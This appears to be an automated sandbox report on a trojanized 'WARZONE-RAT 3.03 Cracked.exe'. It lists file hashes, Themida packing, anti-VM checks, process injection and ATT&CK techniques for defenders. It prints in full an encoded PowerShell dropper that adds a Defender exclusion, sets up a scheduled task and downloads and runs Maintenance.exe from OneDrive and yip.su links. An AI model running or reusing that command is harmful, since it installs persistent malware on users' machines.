8a165d8c914a2c64273ddb5ea961e8d7f4e42f3a803af96886ebfd0ff576be1d

General

Target

WARZONE-RAT 3.03 Cracked.exe
Size

14.1MB
MD5

6d150d36b56cdc5bbd815f89735c7f87
SHA1

ad0dd5834bdaf8552e0c2a16fca8894786f7f299
SHA256

8a165d8c914a2c64273ddb5ea961e8d7f4e42f3a803af96886ebfd0ff576be1d
SHA512

3ad90ab0dc0af13d6aff72699e4398aeb404340b212ae9e82627603c028e4b6c24f0aec82eaa867cfc2c2129441352fce79b3978d5a6fcac20622f3e20e283f2
SSDEEP

196608:M7ua82jskVEUbKBsY6+jLD07YMT7DKSilI/xaU71ItNSyF6apyMWv1aQWipiZh7b:MKxPUtMD07YeKAZaUQh6apGttQb2m

Score

10^/10

evasion themida trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://onedrive.live.com/download?cid=C7F050ABA6D0F6B7&resid=C7F050ABA6D0F6B7%21105&authkey=AIPYamsd38clFVs

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

WARZONE-RAT 3.03 Cracked.exe

description pid process target process

PID 2008 created 2524 2008 WARZONE-RAT 3.03 Cracked.exe Explorer.EXE
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

WARZONE-RAT 3.03 Cracked.exe

description ioc process

Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ WARZONE-RAT 3.03 Cracked.exe

description	pid	process	target process
PID 2008 created 2524	2008	WARZONE-RAT 3.03 Cracked.exe	Explorer.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	WARZONE-RAT 3.03 Cracked.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WARZONE-RAT 3.03 Cracked.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	WARZONE-RAT 3.03 Cracked.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	WARZONE-RAT 3.03 Cracked.exe

Themida packer 12 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral1/memory/2008-136-0x0000000000A70000-0x0000000001FB2000-memory.dmp	themida
behavioral1/memory/2008-139-0x0000000000A70000-0x0000000001FB2000-memory.dmp	themida
C:\Users\Admin\AppData\Local\Temp\WARZONE RAT 3.03 Cracked.exe	themida
C:\Users\Admin\AppData\Local\Temp\WARZONE RAT 3.03 Cracked.exe	themida
behavioral1/memory/3496-217-0x0000000000400000-0x0000000001411000-memory.dmp	themida
behavioral1/memory/2008-216-0x0000000000A70000-0x0000000001FB2000-memory.dmp	themida
C:\Users\Admin\AppData\Local\Temp\WARZONE RAT 3.03 Cracked.exe	themida
behavioral1/memory/3496-233-0x0000000000400000-0x0000000001411000-memory.dmp	themida
behavioral1/memory/3496-235-0x0000000000400000-0x0000000001411000-memory.dmp	themida
behavioral1/memory/3496-236-0x0000000000400000-0x0000000001411000-memory.dmp	themida
behavioral1/memory/3496-237-0x0000000000400000-0x0000000001411000-memory.dmp	themida
behavioral1/memory/3496-254-0x0000000000400000-0x0000000001411000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

WARZONE-RAT 3.03 Cracked.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	WARZONE-RAT 3.03 Cracked.exe

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

27 icanhazip.com
26 icanhazip.com
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

WARZONE-RAT 3.03 Cracked.exe

pid process

2008 WARZONE-RAT 3.03 Cracked.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

WARZONE-RAT 3.03 Cracked.exe

description pid process target process

PID 2008 set thread context of 1892 2008 WARZONE-RAT 3.03 Cracked.exe WARZONE-RAT 3.03 Cracked.exe

flow	ioc
27	icanhazip.com
26	icanhazip.com

pid	process
2008	WARZONE-RAT 3.03 Cracked.exe

description	pid	process	target process
PID 2008 set thread context of 1892	2008	WARZONE-RAT 3.03 Cracked.exe	WARZONE-RAT 3.03 Cracked.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

WARZONE-RAT 3.03 Cracked.exe

description	pid	process	target process
PID 2008 wrote to memory of 1892	2008	WARZONE-RAT 3.03 Cracked.exe	WARZONE-RAT 3.03 Cracked.exe
PID 2008 wrote to memory of 1892	2008	WARZONE-RAT 3.03 Cracked.exe	WARZONE-RAT 3.03 Cracked.exe
PID 2008 wrote to memory of 1892	2008	WARZONE-RAT 3.03 Cracked.exe	WARZONE-RAT 3.03 Cracked.exe
PID 2008 wrote to memory of 1892	2008	WARZONE-RAT 3.03 Cracked.exe	WARZONE-RAT 3.03 Cracked.exe
PID 2008 wrote to memory of 1892	2008	WARZONE-RAT 3.03 Cracked.exe	WARZONE-RAT 3.03 Cracked.exe
PID 2008 wrote to memory of 1892	2008	WARZONE-RAT 3.03 Cracked.exe	WARZONE-RAT 3.03 Cracked.exe
PID 2008 wrote to memory of 1892	2008	WARZONE-RAT 3.03 Cracked.exe	WARZONE-RAT 3.03 Cracked.exe
PID 2008 wrote to memory of 1892	2008	WARZONE-RAT 3.03 Cracked.exe	WARZONE-RAT 3.03 Cracked.exe
PID 2008 wrote to memory of 1892	2008	WARZONE-RAT 3.03 Cracked.exe	WARZONE-RAT 3.03 Cracked.exe
PID 2008 wrote to memory of 1892	2008	WARZONE-RAT 3.03 Cracked.exe	WARZONE-RAT 3.03 Cracked.exe
PID 2008 wrote to memory of 1892	2008	WARZONE-RAT 3.03 Cracked.exe	WARZONE-RAT 3.03 Cracked.exe
PID 2008 wrote to memory of 1892	2008	WARZONE-RAT 3.03 Cracked.exe	WARZONE-RAT 3.03 Cracked.exe
PID 2008 wrote to memory of 1892	2008	WARZONE-RAT 3.03 Cracked.exe	WARZONE-RAT 3.03 Cracked.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:2524

C:\Users\Admin\AppData\Local\Temp\WARZONE-RAT 3.03 Cracked.exe
"C:\Users\Admin\AppData\Local\Temp\WARZONE-RAT 3.03 Cracked.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2008

C:\Users\Admin\AppData\Local\Temp\WARZONE RAT 3.03 Cracked.exe
"C:\Users\Admin\AppData\Local\Temp\WARZONE RAT 3.03 Cracked.exe"
3⤵
PID:3496

C:\Users\Admin\AppData\Local\Temp\WARZONE-RAT 3.03 Cracked.exe
"C:\Users\Admin\AppData\Local\Temp\WARZONE-RAT 3.03 Cracked.exe"
2⤵
PID:1892

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8D41.tmp\8D42.bat "C:\Users\Admin\AppData\Local\Temp\WARZONE-RAT 3.03 Cracked.exe""
3⤵
PID:1972

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwANAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAkAGUAbgB2ADoAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAbQBpAGMAcgBvAHMAbwBmAHQAXABNAGEAaQBuAHQAZQBuAGEAbgBjAGUALgBlAHgAZQANAAoAJAB0AHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuACAADQAKACQAdABhAHMAawBwAGEAdABoACAAPQAgACIATQBhAGkAbgB0AGUAbgBhAG4AYwBlACAAUwBlAHQAdABpAG4AZwBzACAAQwBvAG4AdAByAG8AbAAgAFAAYQBuAGUAbAAiAA0ACgBSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBBAGMAdABpAG8AbgAgACQAYQBjAHQAaQBvAG4AIAAtAFQAcgBpAGcAZwBlAHIAIAAkAHQAcgBpAGcAZwBlAHIAIAAtAFQAYQBzAGsATgBhAG0AZQAgACIATQBhAGkAbgB0AGUAbgBhAG4AYwBlACAAUwBlAHQAdABpAG4AZwBzACAAQwBvAG4AdAByAG8AbAAgAFAAYQBuAGUAbAAiACAALQBUAGEAcwBrAFAAYQB0AGgAIAAkAHQAYQBzAGsAcABhAHQAaAAgAC0ARgBvAHIAYwBlAA0ACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcAG0AaQBjAHIAbwBzAG8AZgB0AFwATQBhAGkAbgB0AGUAbgBhAG4AYwBlAC4AZQB4AGUAIAAtAEYAbwByAGMAZQANAAoAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAANAANAAoAJABzAG8AdQByAGMAZQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBvAG4AZQBkAHIAaQB2AGUALgBsAGkAdgBlAC4AYwBvAG0ALwBkAG8AdwBuAGwAbwBhAGQAPwBjAGkAZAA9AEMANwBGADAANQAwAEEAQgBBADYARAAwAEYANgBCADcAJgByAGUAcwBpAGQAPQBDADcARgAwADUAMABBAEIAQQA2AEQAMABGADYAQgA3ACUAMgAxADEAMAA1ACYAYQB1AHQAaABrAGUAeQA9AEEASQBQAFkAYQBtAHMAZAAzADgAYwBsAEYAVgBzACIADQAKACQAZABlAHMAdAAgAD0AIAAiACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXABtAGkAYwByAG8AcwBvAGYAdABcAE0AYQBpAG4AdABlAG4AYQBuAGMAZQAuAGUAeABlACIAIAANAAoASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAcwBvAHUAcgBjAGUAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGQAZQBzAHQADQAKACQARgBJAEwARQA9AEcAZQB0AC0ASQB0AGUAbQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXABtAGkAYwByAG8AcwBvAGYAdABcAE0AYQBpAG4AdABlAG4AYQBuAGMAZQAuAGUAeABlACAALQBGAG8AcgBjAGUADQAKACQARgBJAEwARQAuAGEAdAB0AHIAaQBiAHUAdABlAHMAPQAnAFIAZQBhAGQATwBuAGwAeQAnACwAJwBIAGkAZABkAGUAbgAnACwAJwBTAHkAcwB0AGUAbQAnAA0ACgAkAEEAYwBsACAAPQAgAEcAZQB0AC0AQQBjAGwAIAAiACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXABtAGkAYwByAG8AcwBvAGYAdABcAE0AYQBpAG4AdABlAG4AYQBuAGMAZQAuAGUAeABlACIADQAKACQAQQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAgAHMAeQBzAHQAZQBtAC4AcwBlAGMAdQByAGkAdAB5AC4AYQBjAGMAZQBzAHMAYwBvAG4AdAByAG8AbAAuAGYAaQBsAGUAcwB5AHMAdABlAG0AYQBjAGMAZQBzAHMAcgB1AGwAZQAoACIARQB2AGUAcgB5AG8AbgBlACIALAAiAFcAcgBpAHQAZQAiACwAIgBEAGUAbgB5ACIAKQANAAoAJABBAGMAbAAuAFMAZQB0AEEAYwBjAGUAcwBzAFIAdQBsAGUAKAAkAEEAcgApAA0ACgBTAGUAdAAtAEEAYwBsACAAIgAkAGUAbgB2ADoAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAbQBpAGMAcgBvAHMAbwBmAHQAXABNAGEAaQBuAHQAZQBuAGEAbgBjAGUALgBlAHgAZQAiACAAJABBAGMAbAANAAoAcwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXABtAGkAYwByAG8AcwBvAGYAdABcAE0AYQBpAG4AdABlAG4AYQBuAGMAZQAuAGUAeABlAA0ACgB3AGcAZQB0ACAAaAB0AHQAcABzADoALwAvAHkAaQBwAC4AcwB1AC8AMgBBAGQAMgBSADcADQAKAFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEUAeABpAHQAKAAxACkAIAA=
4⤵
PID:2004

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

1

T1497

Credential Access

Discovery

Query Registry

2

T1012

Virtualization/Sandbox Evasion

1

T1497

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Maintenance.exe
Filesize
24KB

MD5
0b36a9e6437de7bc2a62e9b7dd0f0bc5

SHA1
4682be5ecb97a9c863dd2d9c496c294a5e53148c

SHA256
c6fc92510b82b34db1eedc1fbc5a9aaf7c98b79144aac11440d463deb2acd69d

SHA512
6e24046ab2f44332d578bea21dbde2913ac3df80d9292c434a0f21485491b00b85a611ab9bf5ed75ed194f97b30932911bea40840a1cce06b2e55f286749f92b

Download Submit
C:\Users\Admin\AppData\Local\Temp\8D41.tmp\8D42.bat
Filesize
3KB

MD5
92f586ef328c08e4f1fcadfaa9c6fda3

SHA1
d7dfe6cba0da0b2899f36de421beb9e37bab90c1

SHA256
ca48023e395b42650416e76da9cd6a05aeb7922c63636127f9c80e07221cdfd0

SHA512
8d16bf916b07e47103967dce1f80d0420e337273fab4035879568d4a71d5685b3cbe507b4a1fbf01a1a3595457b53d9750c2862174729396f0a61cd3ee9b588c

Download Submit
C:\Users\Admin\AppData\Local\Temp\WARZONE RAT 3.03 Cracked.exe
Filesize
7.5MB

MD5
c4daff84358c5820887b5b29a075eb16

SHA1
aca441058e3de9cf7a4412d2b728cf9833deeefa

SHA256
9dcc00c96b015e91cbbe41ef815818c1fde4af9b78130cc266dabd8a21b18c3c

SHA512
04ea6489d9e6e1d9de5d95d985a3ce7903ac48af520d9dfb291214fda7b1bc522fbc28f1d59cfd11157824cacfd1a7e178eb3b447085b44d3f7de5d2e30cb714

Download Submit
C:\Users\Admin\AppData\Local\Temp\WARZONE RAT 3.03 Cracked.exe
Filesize
7.5MB

MD5
c4daff84358c5820887b5b29a075eb16

SHA1
aca441058e3de9cf7a4412d2b728cf9833deeefa

SHA256
9dcc00c96b015e91cbbe41ef815818c1fde4af9b78130cc266dabd8a21b18c3c

SHA512
04ea6489d9e6e1d9de5d95d985a3ce7903ac48af520d9dfb291214fda7b1bc522fbc28f1d59cfd11157824cacfd1a7e178eb3b447085b44d3f7de5d2e30cb714

Download Submit
C:\Users\Admin\AppData\Local\Temp\WARZONE RAT 3.03 Cracked.exe
Filesize
7.5MB

MD5
c4daff84358c5820887b5b29a075eb16

SHA1
aca441058e3de9cf7a4412d2b728cf9833deeefa

SHA256
9dcc00c96b015e91cbbe41ef815818c1fde4af9b78130cc266dabd8a21b18c3c

SHA512
04ea6489d9e6e1d9de5d95d985a3ce7903ac48af520d9dfb291214fda7b1bc522fbc28f1d59cfd11157824cacfd1a7e178eb3b447085b44d3f7de5d2e30cb714

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1zdugqrc.pcm.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1892-152-0x0000000000A70000-0x0000000001FB2000-memory.dmp

Filesize
21.3MB

Download
memory/1892-214-0x0000000140000000-0x0000000140CE0000-memory.dmp

Filesize
12.9MB

Download
memory/1892-141-0x0000000140000000-0x0000000140CE0000-memory.dmp

Filesize
12.9MB

Download
memory/1892-253-0x0000000000A70000-0x0000000001FB2000-memory.dmp

Filesize
21.3MB

Download
memory/1892-195-0x00007FF4D44C0000-0x00007FF4D4891000-memory.dmp

Filesize
3.8MB

Download
memory/1892-145-0x0000000140000000-0x0000000140CE0000-memory.dmp

Filesize
12.9MB

Download
memory/1892-197-0x0000000140000000-0x0000000140CE0000-memory.dmp

Filesize
12.9MB

Download
memory/1892-198-0x0000000140000000-0x0000000140CE0000-memory.dmp

Filesize
12.9MB

Download
memory/1892-199-0x0000000140000000-0x0000000140CE0000-memory.dmp

Filesize
12.9MB

Download
memory/1892-200-0x0000000140000000-0x0000000140CE0000-memory.dmp

Filesize
12.9MB

Download
memory/1892-208-0x0000000140000000-0x0000000140CE0000-memory.dmp

Filesize
12.9MB

Download
memory/1892-212-0x0000000140000000-0x0000000140CE0000-memory.dmp

Filesize
12.9MB

Download
memory/1892-215-0x0000000140000000-0x0000000140CE0000-memory.dmp

Filesize
12.9MB

Download
memory/2004-231-0x0000026E6F770000-0x0000026E6F780000-memory.dmp

Filesize
64KB

Download
memory/2004-250-0x0000026E6F770000-0x0000026E6F780000-memory.dmp

Filesize
64KB

Download
memory/2004-234-0x0000026E6F770000-0x0000026E6F780000-memory.dmp

Filesize
64KB

Download
memory/2004-230-0x0000026E70400000-0x0000026E70422000-memory.dmp

Filesize
136KB

Download
memory/2004-251-0x0000026E714B0000-0x0000026E71C56000-memory.dmp

Filesize
7.6MB

Download
memory/2004-232-0x0000026E6F770000-0x0000026E6F780000-memory.dmp

Filesize
64KB

Download
memory/2008-139-0x0000000000A70000-0x0000000001FB2000-memory.dmp

Filesize
21.3MB

Download
memory/2008-136-0x0000000000A70000-0x0000000001FB2000-memory.dmp

Filesize
21.3MB

Download
memory/2008-138-0x00007FFB00030000-0x00007FFB00031000-memory.dmp

Filesize
4KB

Download
memory/2008-216-0x0000000000A70000-0x0000000001FB2000-memory.dmp

Filesize
21.3MB

Download
memory/2008-137-0x00007FFB00000000-0x00007FFB00002000-memory.dmp

Filesize
8KB

Download
memory/2008-133-0x0000000000A70000-0x0000000001FB2000-memory.dmp

Filesize
21.3MB

Download
memory/2008-196-0x00007FFB00010000-0x00007FFB00011000-memory.dmp

Filesize
4KB

Download
memory/2008-140-0x000000001DBA0000-0x000000001DBB0000-memory.dmp

Filesize
64KB

Download
memory/3496-233-0x0000000000400000-0x0000000001411000-memory.dmp

Filesize
16.1MB

Download
memory/3496-237-0x0000000000400000-0x0000000001411000-memory.dmp

Filesize
16.1MB

Download
memory/3496-236-0x0000000000400000-0x0000000001411000-memory.dmp

Filesize
16.1MB

Download
memory/3496-235-0x0000000000400000-0x0000000001411000-memory.dmp

Filesize
16.1MB

Download
memory/3496-217-0x0000000000400000-0x0000000001411000-memory.dmp

Filesize
16.1MB

Download
memory/3496-254-0x0000000000400000-0x0000000001411000-memory.dmp

Filesize
16.1MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads